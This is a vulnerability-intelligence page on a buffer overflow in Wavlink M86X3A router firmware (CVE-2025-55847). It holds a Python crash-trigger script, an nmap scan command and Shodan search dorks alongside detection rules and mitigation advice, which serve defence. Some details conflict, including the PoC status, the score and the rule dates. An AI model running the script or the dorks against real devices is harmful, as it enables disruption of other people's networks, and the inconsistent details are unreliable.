☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-55847

CVE-2025-55847 Buffer Overflow in Wavlink
📅 PUBLISHED: 2025-09-26 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: M86X3A_V240730
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-55847 is a critical buffer overflow vulnerability identified in the Wavlink M86X3A_V240730 router firmware. The flaw resides in the /cgi-bin/ExportAllSettings.cgi CGI endpoint, where the Cookie HTTP header is processed without proper length validation. This allows an unauthenticated, remote attacker to overflow a stack buffer, potentially leading to arbitrary code execution or a denial of service (DoS) condition. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept (PoC) has been released. Given the device's exposure to the internet via Shodan, this poses a significant risk to affected networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or race conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The attacker does not need to trick a user.
  • Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
  • Confidentiality (C): High – Full disclosure of sensitive data is possible.
  • Integrity (I): High – The attacker can modify system files or firmware.
  • Availability (A): High – A DoS condition can be triggered, or the device can be bricked.

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability highly attractive for botnet recruitment and targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the CGI binary handling the /cgi-bin/ExportAllSettings.cgi endpoint. When a request is sent to this endpoint, the web server parses the Cookie header and copies its value into a fixed-size stack buffer without checking the length. If an attacker sends a Cookie header exceeding the buffer size, the excess data overwrites adjacent stack memory, including the return address and other critical data.

Root Cause: The use of unsafe string copy functions (e.g., strcpy, sprintf) or manual memory operations without bounds checking in the CGI handler.

Attack Flow:

  1. The attacker sends an HTTP GET request to /cgi-bin/ExportAllSettings.cgi.
  2. The request includes a Cookie header with a value longer than the expected buffer (e.g., 1024+ bytes).
  3. The CGI binary copies the cookie value into a stack buffer, causing an overflow.
  4. The overflow overwrites the saved return address on the stack.
  5. When the function returns, execution jumps to an attacker-controlled address.
  6. The attacker can use ROP (Return-Oriented Programming) or shellcode to execute arbitrary commands.

Impact: Full device compromise, including the ability to:

  • Install persistent backdoors.
  • Exfiltrate network traffic.
  • Launch further attacks on internal networks.
  • Brick the device (DoS).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following pseudo-code:

Vulnerable Code (C-style):

void handle_export_settings() {
    char cookie_buffer[256];
    char *cookie = getenv("HTTP_COOKIE");
    // Unsafe copy - no bounds check
    strcpy(cookie_buffer, cookie);
    // ... process settings export
}

Patched Code (Hypothetical):

void handle_export_settings() {
    char cookie_buffer[256];
    char *cookie = getenv("HTTP_COOKIE");
    // Safe copy with length check
    strncpy(cookie_buffer, cookie, sizeof(cookie_buffer) - 1);
    cookie_buffer[sizeof(cookie_buffer) - 1] = '\0';
    // ... process settings export
}

The patched version uses strncpy with a size limit and ensures null-termination, preventing the overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Wavlink M86X3A router with firmware version V240730.
  • Network access to the router's web interface (typically port 80 or 443).
  • A tool like curl, python3, or metasploit.

Exploitation Steps:

  1. Identify the target: Use Shodan or Nmap to find exposed Wavlink routers.

    nmap -p 80,443 --script http-title <target_ip>
    
  2. Craft the exploit payload: Since no public PoC exists, a generic buffer overflow payload can be constructed. The following Python script sends a long Cookie header to trigger the overflow:

    import socket
    
    target_ip = "192.168.1.1"
    port = 80
    
    # Craft a payload: 256 bytes of 'A' + 8 bytes for saved RBP + 8 bytes for return address
    payload = b"A" * 256 + b"BBBBBBBB" + b"\x90" * 8  # NOP sled placeholder
    # In a real exploit, replace the return address with a pointer to shellcode
    
    request = (
        f"GET /cgi-bin/ExportAllSettings.cgi HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Cookie: {payload.decode('latin-1')}\r\n"
        f"Connection: close\r\n\r\n"
    )
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, port))
    sock.send(request.encode('latin-1'))
    response = sock.recv(4096)
    print(response.decode('latin-1'))
    sock.close()
    
  3. Observe the crash: If the router becomes unresponsive or reboots, the overflow was successful.

Note: This is a simplified example. A full exploit would require reverse engineering the firmware to find the exact offset to the return address and bypass any mitigations (e.g., ASLR, NX).

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor HTTP requests: Look for abnormally long Cookie headers in web server logs.
  2. Network traffic analysis: Use Suricata or Zeek to detect oversized headers.
  3. Endpoint monitoring: On the router, monitor for crashes or unexpected reboots.

Mitigation Steps:

  1. Isolate the device: Place the router behind a firewall and restrict access to the web interface to trusted IPs only.
  2. Disable remote management: If not needed, turn off remote access to the router's admin panel.
  3. Apply virtual patching: Use a WAF (Web Application Firewall) to block requests with Cookie headers exceeding a reasonable length (e.g., 1024 bytes).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /cgi-bin/ExportAllSettings.cgi with Cookie headers longer than 1024 bytes.
    • Unusual outbound connections from the router to unknown IPs (e.g., on ports 4444, 31337).
    • Repeated router reboots or crashes.
  • Host IOCs:

    • Modified firmware or unexpected files in /tmp or /var.
    • New processes running as root (e.g., /bin/sh, /tmp/backdoor).
    • Log entries showing segmentation faults or kernel panics.
  • File IOCs:

    • Suspicious binaries in /tmp (e.g., mips or arm ELF files).
    • Changes to /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2025_55847_Wavlink_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-55847 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55847"
    strings:
        $cookie_long = /Cookie:\s*.{1024,}/ nocase
        $uri = "/cgi-bin/ExportAllSettings.cgi" nocase
    condition:
        $uri and $cookie_long
}

Sigma Rule

title: CVE-2025-55847 Wavlink Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with excessively long Cookie headers targeting Wavlink routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/cgi-bin/ExportAllSettings.cgi"
        cs(Cookie)|length: >= 1024
    condition: selection
falsepositives:
    - Legitimate long cookies from some applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55847 Wavlink Buffer Overflow Attempt"; flow:to_server; content:"/cgi-bin/ExportAllSettings.cgi"; http_uri; content:"Cookie"; http_header; pcre:"/Cookie:\s*.{1024,}/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable remote management on the Wavlink router if not required.
  2. Restrict access to the web interface using firewall rules (e.g., allow only from trusted IPs).
  3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

  • Vendor Patch: Contact Wavlink for a firmware update. Since no patch is available, consider replacing the device with a more secure alternative.
  • Virtual Patching: Deploy a WAF or IPS rule to block oversized Cookie headers.
  • Network Segmentation: Place IoT devices like routers on a separate VLAN to limit blast radius.

Workaround:

  • If the device cannot be replaced, manually edit the firmware (if possible) to add bounds checking, or use a reverse proxy to sanitize headers.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Wavlink"
http.html:"M86X3A"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-55847/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.